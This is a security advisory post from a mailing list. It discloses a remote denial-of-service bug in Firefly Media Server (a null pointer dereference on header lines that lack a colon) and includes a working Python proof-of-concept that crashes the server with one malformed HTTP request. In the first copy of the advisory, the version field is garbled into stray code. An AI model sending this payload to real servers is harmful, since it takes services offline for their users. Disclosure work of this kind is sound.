[UPH-07-01] Firefly Media Server DoS Nov 02 2007 05:55PM
nnp (version5 gmail com) (1 replies)
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[UPH-07-01]
UnprotectedHex.com security advisory [07-01]
Discovered by nnp

Discovered : 1 August 2007
Reported to the vendor : 13 October 2007
Fixed by vendor : 21 October 2007

Vulnerability class : Remote DoS

Affected product : mt-dappd/Firefly Media Server
Version : threadno,first);
} else {
while(*last==' ')
last++;

Proof of concept code : Yes

- --
http://www.smashthestack.org
http://www.unprotectedhex.com
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.7 (Darwin)
Comment: http://firegpg.tuxfamily.org

iD8DBQFHK8XKbP10WPHfgnQRAsEaAKCaZBFsY7V3NO/Yzm1RBb5m5OzmjQCcD1RJ
U1c389rtN0anvvhpRJxBSEA=
=i5L8
-----END PGP SIGNATURE-----
#!C:\python25\python25.exe

"""
Advisory : [UPH-07-01]

mt-dappd/Firefly media server remote DoS
Discovered by nnp
http://www.unprotectedhex.com

"""

import sys

import socket

import time

if len(sys.argv) != 3:

sys.exit(-1)

kill_msg = """GET /xml-rpc?method=stats HTTP/1.1\r\n

INVALIDLINE\r\n\r\n"""

host = sys.argv[1]

port = sys.argv[2]

print '[+] Host : ' + host

print '[+] Port : ' + port

print "[+] Sending "

print kill_msg

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, int(port)))

s.send(kill_msg)

s.close()

[UPH-07-01]
UnprotectedHex.com security advisory [07-01]
Discovered by nnp

Discovered : 1 August 2007
Reported to the vendor : 13 October 2007
Fixed by vendor : 21 October 2007

Vulnerability class : Remote DoS

Affected product : mt-dappd/Firefly Media Server
Version : <= 0.2.4

Product details:
www.fireflymediaserver.org/
'''
The purpose of this project is built the best server software to serve digital music to the Roku Soundbridge and iTunes; to be able to serve the widest variety of digital music content over the widest range of devices
'''

File/Function/line : webserver.c/ws_getheaders/631

Cause : Null pointer dereference. Any header that contains a line (not the first line) that does not contain a ':' will result in a null pointer dereference as strsep(&last, ':') will assign NULL to the variable 'last' and the code then attempts to dereference 'last'.

strsep(&last,":");

if(last==first) {
DPRINTF(E_WARN,L_WS,"Thread %d: Invalid header: %s\n",
pwsc->threadno,first);
} else {
while(*last==' ')
last++;

Proof of concept code : Yes

[ reply ]
Re: [UPH-07-01] Firefly Media Server DoS Nov 02 2007 06:04PM
nnp (version5 gmail com)


 

Privacy Statement
Copyright 2010, SecurityFocus